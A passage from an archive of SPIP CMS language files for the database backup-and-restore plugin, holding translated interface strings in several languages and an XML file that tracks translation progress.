Eissublietz pas tanpauc de recuperar l’integralitat dau repertòri <i>IMG/</i>, que conten los imatges e los documents utilizats dins los articles e rubricas.',
'texte_admin_tech_02' => 'Atencion: aquela sauvagarda se poirà restaurar SOLAMENT dins un sit installat amb la mesma version d’SPIP. Donc sobretot chau pas "voidar la basa" en esperar de reïnstallar la sauvagarda après una actualizacion. Consultatz <a href="@spipnet@">la documentacion d’SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Restaurar lo contengut d’una sauvagarda de la basa',
'texte_restaurer_sauvegarde' => 'Aquela opcion vos permet de restaurar una sauvagarda
de la basa que l’aviatz facha avans. Per aquò faire, chau aver botat lo fichier que conten la sauvagarda
dins lo repertòri @dossier@.
Pasmens, siatz prudent(a) amb aquela foncionalitat: <b>las modificacions e pèrdas eventualas son
irreversiblas.</b>', # MODIF
'texte_sauvegarde' => 'Sauvagardar lo contengut de la basa',
'texte_sauvegarde_base' => 'Sauvagardar la basa'
);
?>
paquet-dump_nl.php 0000666 00000000676 15252540315 0010227 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dump_description' => 'Backup van de database in SQLite en restauratie',
'dump_slogan' => 'Back-up en restauratie van de SPIP database'
);
?>
paquet-dump_fr_fem.php 0000666 00000000731 15252540315 0011044 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dump_description' => 'Sauvegarde de la base de données en SQLite et restauration',
'dump_slogan' => 'Sauvegarde et restauration de la base de données SPIP'
);
?>
paquet-dump_ar.php 0000666 00000001011 15252540315 0010200 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dump_description' => 'نسخ احتياطي لقاعدة البيانات بتنسيق SQLite واسترجاعها',
'dump_slogan' => 'نسخ احتياطي لقاعدة بيانات SPIP واسترجاعها'
);
?>
dump_es.php 0000666 00000007504 15252540315 0006725 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'vacío',
'avis_probleme_ecriture_fichier' => 'Problema de escritura del archivo @fichier@',
// B
'bouton_restaurer_base' => 'Restaurar la base',
// C
'confirmer_ecraser_base' => 'Sí, quiero destruir mi base con la restauración de este respaldo. ',
'confirmer_ecraser_tables_selection' => 'Sí, quiero destruir las tablas seleccionadas con la restauración de este respaldo',
// D
'details_sauvegarde' => 'Detalles del respaldo:',
// E
'erreur_aucune_donnee_restauree' => 'Ningún dato restaurado',
'erreur_connect_dump' => 'Un servidor denominado « @dump@ » ya existe. Cámbiale el nombre.',
'erreur_creation_base_sqlite' => 'Impossible crear una base SQLite para el respaldo',
'erreur_nom_fichier' => 'Este nombre de archivo no está autorizado',
'erreur_restaurer_verifiez' => 'Corrige el error para poder restaurar.',
'erreur_sauvegarde_deja_en_cours' => 'Ya tienes un respaldo en curso.',
'erreur_sqlite_indisponible' => 'Imposible hacer un respaldo SQLite en su espacio de hospedaje.',
'erreur_table_absente' => 'Tabla @table@ ausente',
'erreur_table_donnees_manquantes' => 'Tabla @table@, datos faltantes',
'erreur_taille_sauvegarde' => 'El respaldo parece haber fracasado. El archivo @fichier@ está vacío o ausente',
// I
'info_aucune_sauvegarde_trouvee' => 'Ningún respaldo encontrado',
'info_restauration_finie' => '¡Ya está! El respaldo @archive@ fue restaurado en tu sitio. Puedes ',
'info_restauration_sauvegarde' => 'Restauración de la copia de respaldo @archive@',
'info_sauvegarde' => 'Copia de respaldo',
'info_sauvegarde_reussi_02' => 'El respaldo de la base está en @archive@. Puedes',
'info_sauvegarde_reussi_03' => 'volver a la gestión',
'info_sauvegarde_reussi_04' => 'del sitio.',
'info_selection_sauvegarde' => 'Elegiste restaurar el respaldo @fichier@. Esta operación es irreversible.',
// L
'label_nom_fichier_restaurer' => 'O indica el nombre del archivo por restaurar',
'label_nom_fichier_sauvegarde' => 'Nombre del archivo para el respaldo',
'label_selectionnez_fichier' => 'Selecciona un archivo en la lista',
// N
'nb_donnees' => '@nb@ registros',
// R
'restauration_en_cours' => 'Restauración en courso',
// S
'sauvegarde_en_cours' => 'Respaldo en curso',
'sauvegardes_existantes' => 'Respaldos existentes',
'selectionnez_table_a_restaurer' => 'Selecciona las tablas por restaurar',
// T
'texte_admin_tech_01' => 'Esta opción permite respaldar el contenido de la base en un archivo que se guardará en la carpeta @dossier@. No olvides recuperar además la totalidad de la carpeta @img@, que contiene las imágenes y los documentos utilizadas en los artículos y las secciones.',
'texte_admin_tech_02' => '¡Atención! Esta copia de respaldo SÓLO PODRÁ ser restaurada en un sitio que utiliza LA MISMA versión de SPIP. Por ningún motivo se deberá «vaciar la base» imaginando volver a instalar el respaldo después de una actualización. Consultar la <a href="@spipnet@">documentación de SPIP</a>.',
'texte_restaurer_base' => 'Restaurar el contenido de una copia de respaldo',
'texte_restaurer_sauvegarde' => 'Esta opción te permite restaurar una copia de respaldo de la base efectuada anteriormente. A tal efecto, el archivo que contiene la copia de respaldo debe estar en la carpeta @dossier@.',
'texte_sauvegarde' => 'Crear una copia de respaldo de la base',
'texte_sauvegarde_base' => 'Crear una copia de respaldo de la base',
'tout_restaurer' => 'Restaurar todas las tablas',
'tout_sauvegarder' => 'Restaurar todas las tablas',
// U
'une_donnee' => '1 registro'
);
?>
dump_hu.php 0000666 00000003463 15252540315 0006732 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=hu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Adatbázis resztaurálása',
// I
'info_restauration_sauvegarde' => 'A @archive@ nevű mentés resztaurálása', # MODIF
'info_sauvegarde' => 'Mentés',
'info_sauvegarde_reussi_02' => 'Az adatbázis mentve lett a @archive@ nevű mappába. Lehet',
'info_sauvegarde_reussi_03' => 'visszatérni',
'info_sauvegarde_reussi_04' => 'honlapja üzemeltetéséhez.',
// T
'texte_admin_tech_01' => 'Ez az opció lehetővé teszi az adatbázis tartalmának a mentését egy fájlban, ami az @dossier@ mappában található. Ne felejtse el megmenteni az @img@ mappa teljes tartalmát, ami a cikkekben és a rovatokban használt dokumentumokat, illetve képeket tartalmazza.',
'texte_admin_tech_02' => 'Vigyázat: ezt a mentést lehet resztaurálni CSAK egy azonos verziójű SPIP honlapon. Tehát nem szabad « üríteni az adatbázis » abban a reményben, hogy újratelepítheti a mentést egy verziói fejlesztés után... Érdeklődjön <a href="@spipnet@">az SPIP dokumentációja (Fr)</a>.', # MODIF
'texte_restaurer_base' => 'Egy megmentett adatbázis tartalmának resztaurálása',
'texte_restaurer_sauvegarde' => 'Ez az opció lehetővé teszi egy már megmentett adatbázis resztaurálását.
Azért a mentést tartalmazó fájlt kell helyezni a @dossier@ mappába.
Legyen óvatos ezzel a lehetőséggel : <b>a módosítások, esetleges vesztések visszavonhatatlanok.</b>', # MODIF
'texte_sauvegarde' => 'Az adatbázis tartalmának mentése',
'texte_sauvegarde_base' => 'Adatbázis mentése'
);
?>
paquet-dump_en.php 0000666 00000000673 15252540315 0010215 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dump_description' => 'Backup and restoration of the database in SQLite format',
'dump_slogan' => 'Backup and restore database SPIP'
);
?>
dump_oc_ni_la.php 0000666 00000003511 15252540315 0010053 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=oc_ni_la
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Restaurar la basa',
// I
'info_restauration_sauvegarde' => 'restauracion de la sauvagarda @archive@', # MODIF
'info_sauvegarde' => 'Sauvagarda',
'info_sauvegarde_reussi_02' => 'La basa es estada sauvagardada dins @archive@. Podètz',
'info_sauvegarde_reussi_03' => 'tornar a la gestion',
'info_sauvegarde_reussi_04' => 'dau vòstre sit.',
// T
'texte_admin_tech_01' => 'Aquela opcion vos permete de sauvagardar lo contengut de la basa dins un fichier que serà servat dins lo repertòri @dossier@.
Non oblidetz nimai de recuperar l’integralitat dau repertòri <i>IMG/</i>, que conten lu imatges e lu documents utilizats dins lu articles e rubricas.',
'texte_admin_tech_02' => 'Atencion: aquela sauvagarda si porrà restaurar BASTA dins un sit installat emb la meteissa version d’SPIP. Doncas sobretot non cau "vuar la basa" en esperant de reïnstallar la sauvagarda après una actualizacion. Consultatz <a href="@spipnet@">la documentacion d’SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Restaurar lo contengut d’una sauvagarda de la basa',
'texte_restaurer_sauvegarde' => 'Aquela opcion vos permete de restaurar una sauvagarda
de la basa que l’aviatz facha avans. Per aquò faire, cau aver botat lo fichier que conten la sauvagarda
dins lo repertòri @dossier@.
Totun, sigatz prudent(a) emb aquela foncionalitat: <b>li modificacions e pèrdas eventuali son
irreversibli.</b>', # MODIF
'texte_sauvegarde' => 'Sauvagardar lo contengut de la basa',
'texte_sauvegarde_base' => 'Sauvagardar la basa'
);
?>
dump_oc_prv.php 0000666 00000003521 15252540315 0007601 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=oc_prv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Restaurar la basa',
// I
'info_restauration_sauvegarde' => 'restauracion de la sauvagarda @archive@', # MODIF
'info_sauvegarde' => 'Sauvagarda',
'info_sauvegarde_reussi_02' => 'La basa es estada sauvagardada dins @archive@. Podètz',
'info_sauvegarde_reussi_03' => 'tornar a la gestion',
'info_sauvegarde_reussi_04' => 'de vòstre sit.',
// T
'texte_admin_tech_01' => 'Aquela opcion vos permet de sauvagardar lo contengut de la basa dins un fichier que serà servat dins lo repertòri @dossier@.
Oblidetz pas tanpauc de recuperar l’integralitat dau repertòri <i>IMG/</i>, que conten leis imatges e lei documents utilizats dins leis articles e rubricas.',
'texte_admin_tech_02' => 'Atencion: aquela sauvagarda se poirà restaurar REN QUE dins un sit installat amb la meteissa version d’SPIP. Donc subretot cau pas "vujar la basa" en esperant de reïnstallar la sauvagarda après una actualizacion. Consultatz <a href="@spipnet@">la documentacion d’SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Restaurar lo contengut d’una sauvagarda de la basa',
'texte_restaurer_sauvegarde' => 'Aquela opcion vos permet de restaurar una sauvagarda
de la basa que l’aviatz facha avans. Per aquò faire, cau aver botat lo fichier que conten la sauvagarda
dins lo repertòri @dossier@.
Pasmens, sigatz prudent(a) amb aquela foncionalitat: <b>lei modificacions e pèrdas eventualas son
irreversiblas.</b>', # MODIF
'texte_sauvegarde' => 'Sauvagardar lo contengut de la basa',
'texte_sauvegarde_base' => 'Sauvagardar la basa'
);
?>
dump_eo.php 0000666 00000004047 15252540315 0006720 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=eo
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'malplena',
'avis_probleme_ecriture_fichier' => 'Scribproblemo en dosiero @fichier@',
// B
'bouton_restaurer_base' => 'Restaŭri la datenbazon',
// C
'confirmer_ecraser_base' => 'Jes, mi volas anstataŭgi mian datumbazon per tiu ĉi savkopio',
'confirmer_ecraser_tables_selection' => 'Jes, mi volas anstataŭigi la elektitajn tabelojn per la savkopio',
// D
'details_sauvegarde' => 'Detaloj de la savkopio :',
// I
'info_restauration_sauvegarde' => 'Restaŭro de la savkopio @archive@',
'info_sauvegarde' => 'Savkopio',
'info_sauvegarde_reussi_02' => 'Datenbazo estas konservita en @archive@. Vi povas',
'info_sauvegarde_reussi_03' => 'reen al paĝo pri mastrumado',
'info_sauvegarde_reussi_04' => 'de via retejo.',
// T
'texte_admin_tech_01' => 'Tiu opcio ebligas al vi konservi enhavon de bazo en dosiero stokota en dosierujo @dossier@. Ne forgesu ankaŭ reakiri la tuton de la dosierujo @img@, kiu enhavas bildojn kaj dokumentojn uzatajn en artikoloj kaj rubrikoj.',
'texte_admin_tech_02' => 'Atentu : tiu savkopio povos esti restaŭrita
NUR por retejo starigita per la sama versio de SPIP. Nepre ne " malplenigu la datenbazon " esperante poste reinstali savkopion post ĝisdatigo... Konsultu <a href="@spipnet@">la dokumentaron de SPIP</a>.',
'texte_restaurer_base' => 'Restaŭri la enhavon de datenbaza savkopio',
'texte_restaurer_sauvegarde' => 'Tiu opcio ebligas al vi restarigi antaŭe faritan savkopion de la bazo.
Por tio, la dosiero entenanta la savkopion devas esti lokita
en la dosierujon @dossier@.
Estu singardema pri tiu ĉi funkcio : <b>la modifoj, eventualaj perdoj, estas
neinversigeblaj.</b>',
'texte_sauvegarde' => 'Konservi la enhavon de la datenbazo',
'texte_sauvegarde_base' => 'Konservi la datenbazon'
);
?>
dump_oc_gsc.php 0000666 00000003563 15252540315 0007554 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=oc_gsc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Restaurar la basa',
// I
'info_restauration_sauvegarde' => 'restauracion de la sauvagarda @archive@', # MODIF
'info_sauvegarde' => 'Sauvagarda',
'info_sauvegarde_reussi_02' => 'La basa qu’ei estada sauvagardada dens @archive@. Que podetz',
'info_sauvegarde_reussi_03' => 'tornar a la gestion',
'info_sauvegarde_reussi_04' => 'deu vòste sit.',
// T
'texte_admin_tech_01' => 'Aquera opcion que’vs permet de sauvagardar lo contengut de la basa dens un fichièr qui serà servat dens lo repertòri @dossier@.
N’oblidetz pas tanpòc de recuperar l’integralitat deu repertòri <i>IMG/</i>, qui contien los imatges e los documents utilizats dens los articles e rubricas.',
'texte_admin_tech_02' => 'Atencion: aquera sauvagarda que’s poirà restaurar SONQUE dens un sit installat dab la medisha version d’SPIP. Donc subertot non cau pas "vueidar la basa" en esperar de reïnstallar la sauvagarda après ua actualizacion. Consultatz <a href="@spipnet@">la documentacion d’SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Restaurar lo contengut d’ua sauvagarda de la basa',
'texte_restaurer_sauvegarde' => 'Aquera opcion que’vs permet de restaurar ua sauvagarda
de la basa que l’avèvatz hèita abans. Tà har aquò, que cau aver botat lo fichièr qui contien la sauvagarda
dens lo repertòri @dossier@.
Totun, siatz prudent(a) dab aquera foncionalitat: <b>las modificacions e pèrdas eventuaus que son
irreversiblas.</b>', # MODIF
'texte_sauvegarde' => 'Sauvagardar lo contengut de la basa',
'texte_sauvegarde_base' => 'Sauvagardar la basa'
);
?>
dump_oc_ni.php 0000666 00000003461 15252540315 0007403 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=oc_ni
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Restaurar la basa',
// I
'info_restauration_sauvegarde' => 'Restauracion de la sauvagarda @archive@',
'info_sauvegarde' => 'Sauvagarda',
'info_sauvegarde_reussi_02' => 'La basa es estada sauvagardada dins @archive@. Podètz',
'info_sauvegarde_reussi_03' => 'tornar à la gestion',
'info_sauvegarde_reussi_04' => 'dau voastre sit.',
// T
'texte_admin_tech_01' => 'Aquela opcion vos permete de sauvagardar lo contengut de la basa dins un fichier que serà conservat dins lo repertòri @dossier@. Oblidetz pas manco de recuperar l’integralitat dau repertòri @img@, que conten lu imatges e lu documents utilisats dins lu articles e rubricas.',
'texte_admin_tech_02' => 'Mèfi: aquela sauvagarda si podrà restaurar SOLAMENT dins un sit installat mé la mema version de SPIP. Cau sobretot pas « vuar la basa » en esperar tornar installar la sauvagarda après una mesa a jorn... Consultatz la <a href="@spipnet@">la documentacion de SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Restaurar lo contengut d’una sauvagarda de la basa',
'texte_restaurer_sauvegarde' => 'Aquela opcion vos permete de restaurar una sauvagarda de la
basa qu’aviatz facha avans. Per aquò faire, cau aver plaçat lo fichier que conten
la sauvagarda dins lo repertòri @dossier@.
Siguètz prudent(a) emb aquela foncionalitat: <b>li modificacions e pèrdas eventuali son
irreversibli.</b>', # MODIF
'texte_sauvegarde' => 'Sauvagardar lo contengut de la basa',
'texte_sauvegarde_base' => 'Sauvagardar la basa'
);
?>
dump_oc_auv.php 0000666 00000003520 15252540315 0007564 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=oc_auv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Restaurar la basa',
// I
'info_restauration_sauvegarde' => 'restauracion de la sauvagarda @archive@', # MODIF
'info_sauvegarde' => 'Sauvagarda',
'info_sauvegarde_reussi_02' => 'La basa es estada sauvagardada dins @archive@. Podètz',
'info_sauvegarde_reussi_03' => 'tornar a la gestion',
'info_sauvegarde_reussi_04' => 'de vòstre sit.',
// T
'texte_admin_tech_01' => 'Aquela opcion vos permet de sauvagardar lo contengut de la basa dins un fichèir que será servat dins lo repertòri @dossier@.
Oblidetz pas tanpauc de recuperar l’integralitat dau repertòri <i>IMG/</i>, que conten los imatges e los documents utilizats dins los articles e rubricas.',
'texte_admin_tech_02' => 'Atencion: aquela sauvagarda se poirá restaurar SOLAMENT dins un sit installat amb la mesma version d’SPIP. Donc sobretot chau pas "voidar la basa" en esperar de reïnstallar la sauvagarda après una actualizacion. Consultatz <a href="@spipnet@">la documentacion d’SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Restaurar lo contengut d’una sauvagarda de la basa',
'texte_restaurer_sauvegarde' => 'Aquela opcion vos permet de restaurar una sauvagarda
de la basa que l’aviatz faita avans. Per aquò faire, chau aver botat lo fichèir que conten la sauvagarda
dins lo repertòri @dossier@.
Pasmens, siatz prudent(a) amb aquela foncionalitat: <b>las modificacions e pèrdas eventualas son
irreversiblas.</b>', # MODIF
'texte_sauvegarde' => 'Sauvagardar lo contengut de la basa',
'texte_sauvegarde_base' => 'Sauvagardar la basa'
);
?>
paquet-dump_pt_br.php 0000666 00000000704 15252540315 0010714 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-dump?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dump_description' => 'Cópia de segurança da base em SQLite e restauro',
'dump_slogan' => 'Cópia de segurança e restauro da base SPIP'
);
?>
dump_it_fem.php 0000666 00000003355 15252540315 0007561 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=it_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Ripristina il database',
// I
'info_restauration_sauvegarde' => 'ripristino del salvataggio @archive@',
'info_sauvegarde' => 'Salvataggio',
'info_sauvegarde_reussi_02' => 'Il database è stato salvato in @archive@. Puoi ',
'info_sauvegarde_reussi_03' => 'tornare alla gestione',
'info_sauvegarde_reussi_04' => 'del tuo sito.',
// T
'texte_admin_tech_01' => 'Questa opzione permette di salvare il contenuto del database in un file che sarà conservato nella cartella @dossier@.
Non dimenticare di recuperare integralmente anche la cartella @img@, che contiene le immagini e i documenti utilizzati negli articoli e nelle rubriche.',
'texte_admin_tech_02' => 'Attenzione: questo backup potrà essere ripristinato SOLO in un sito installato con la stessa versione di SPIP.Soprattutto, è sbagliato « svuotare il database » pensando di ripristinare questo backup dopo aver aggiornato la versione di SPIP...
Per maggiori informazioni consulta <a href="@spipnet@">la documentazione di SPIP</a>.', # MODIF
'texte_restaurer_base' => 'Ripristina un backup del database',
'texte_restaurer_sauvegarde' => 'Quest’opzione permette il ripristino di un backup del database.
Il file di salvataggio deve trovarsi nella cartella @dossier@.
Attenzione: <b>le modifiche o la perdita eventuale di dati sono irreversibili.</b>', # MODIF
'texte_sauvegarde' => 'Salva il contenuto del database',
'texte_sauvegarde_base' => 'Salva il database'
);
?>
dump_tr.php 0000666 00000003407 15252540315 0006741 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=tr
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Veritabanının geri yüklenmesi',
// I
'info_restauration_sauvegarde' => '@archive@ yedeğinin geri yüklenmesi',
'info_sauvegarde' => 'Yedekle',
'info_sauvegarde_reussi_02' => 'Veritabanı ecrire/data/@archive@ de yedeklendi. Yönetime',
'info_sauvegarde_reussi_03' => 'geri dönebilirsiniz',
'info_sauvegarde_reussi_04' => '.',
// T
'texte_admin_tech_01' => 'Bu seçenek, veritabanının içeriğini, @dossier@ dizininde depolanacak bir dosyaya yedeklemenizi sağlar. Makale ve bölümlerde kullanılan resim ve dokümanları içeren @img@ dizininin tamamını almayı da unutmayınız. ',
'texte_admin_tech_02' => 'Dikkat : bu yedekleme ANCAK, SPIP’in aynı sürümüyle kurulacak bir sitede eski haline getirilebilir. Dolayısıyla, sakın yedekleneni güncelleme işleminden sonra yeniden kurmayı umarak « veritabanının boşaltılması » işlemini yapmayınız... <a href="@spipnet@">SPIP dokümanlarına</a> başvurunuz.', # MODIF
'texte_restaurer_base' => 'Veritabanı yedeğini geri yükle',
'texte_restaurer_sauvegarde' => 'Bu seçenek, daha önce yapılan bir veritabanı yedeğinin geri yüklenmesini sağlar. Bunun için, yedeklemeyi içeren dosyanın @dossier@ dizinine yerleştirilmiş olması gerekir. Bu işlevi kullanırken dikkatli olunuz : <b>değişiklikler, olası kayıplar, geri getirilemez.</b>', # MODIF
'texte_sauvegarde' => 'Veritabanının içeriğini yedekle',
'texte_sauvegarde_base' => 'Veritabanını yedekle'
);
?>
dump.xml 0000666 00000024640 15252540315 0006247 0 ustar 00 <traduction module="dump" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/dump/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/dump?lang_cible=ar" total="41" traduits="41" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="ast" url="http://trad.spip.net/tradlang_module/dump?lang_cible=ast" total="41" traduits="10" relire="0" modifs="2" nouveaux="29" pourcent="24.39">
</langue>
<langue code="ay" url="http://trad.spip.net/tradlang_module/dump?lang_cible=ay" total="41" traduits="1" relire="0" modifs="0" nouveaux="40" pourcent="2.44">
</langue>
<langue code="bg" url="http://trad.spip.net/tradlang_module/dump?lang_cible=bg" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="br" url="http://trad.spip.net/tradlang_module/dump?lang_cible=br" total="41" traduits="10" relire="0" modifs="2" nouveaux="29" pourcent="24.39">
</langue>
<langue code="bs" url="http://trad.spip.net/tradlang_module/dump?lang_cible=bs" total="41" traduits="7" relire="0" modifs="5" nouveaux="29" pourcent="17.07">
</langue>
<langue code="ca" url="http://trad.spip.net/tradlang_module/dump?lang_cible=ca" total="41" traduits="10" relire="0" modifs="2" nouveaux="29" pourcent="24.39">
<traducteur nom="merce" lien="http://trad.spip.net/auteur/merce" />
</langue>
<langue code="co" url="http://trad.spip.net/tradlang_module/dump?lang_cible=co" total="41" traduits="10" relire="0" modifs="2" nouveaux="29" pourcent="24.39">
</langue>
<langue code="cpf" url="http://trad.spip.net/tradlang_module/dump?lang_cible=cpf" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="cpf_hat" url="http://trad.spip.net/tradlang_module/dump?lang_cible=cpf_hat" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="cs" url="http://trad.spip.net/tradlang_module/dump?lang_cible=cs" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="da" url="http://trad.spip.net/tradlang_module/dump?lang_cible=da" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/dump?lang_cible=de" total="41" traduits="41" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/dump?lang_cible=en" total="41" traduits="41" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="sQuonk" lien="http://trad.spip.net/auteur/squonk" />
</langue>
<langue code="en_hx" url="http://trad.spip.net/tradlang_module/dump?lang_cible=en_hx" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="eo" url="http://trad.spip.net/tradlang_module/dump?lang_cible=eo" total="41" traduits="17" relire="0" modifs="0" nouveaux="24" pourcent="41.46">
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/dump?lang_cible=es" total="41" traduits="41" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="dani" lien="http://trad.spip.net/auteur/dani" />
</langue>
<langue code="eu" url="http://trad.spip.net/tradlang_module/dump?lang_cible=eu" total="41" traduits="10" relire="0" modifs="2" nouveaux="29" pourcent="24.39">
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/dump?lang_cible=fa" total="41" traduits="41" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fi" url="http://trad.spip.net/tradlang_module/dump?lang_cible=fi" total="41" traduits="7" relire="0" modifs="3" nouveaux="31" pourcent="17.07">
</langue>
<langue code="fon" url="http://trad.spip.net/tradlang_module/dump?lang_cible=fon" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/dump?lang_cible=fr" total="41" traduits="41" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/dump?lang_cible=fr_fem" total="41" traduits="41" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="fr_tu" url="http://trad.spip.net/tradlang_module/dump?lang_cible=fr_tu" total="41" traduits="41" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="gl" url="http://trad.spip.net/tradlang_module/dump?lang_cible=gl" total="41" traduits="10" relire="0" modifs="2" nouveaux="29" pourcent="24.39">
</langue>
<langue code="hu" url="http://trad.spip.net/tradlang_module/dump?lang_cible=hu" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="id" url="http://trad.spip.net/tradlang_module/dump?lang_cible=id" total="41" traduits="9" relire="0" modifs="3" nouveaux="29" pourcent="21.95">
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/dump?lang_cible=it" total="41" traduits="41" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="it_fem" url="http://trad.spip.net/tradlang_module/dump?lang_cible=it_fem" total="41" traduits="10" relire="0" modifs="2" nouveaux="29" pourcent="24.39">
</langue>
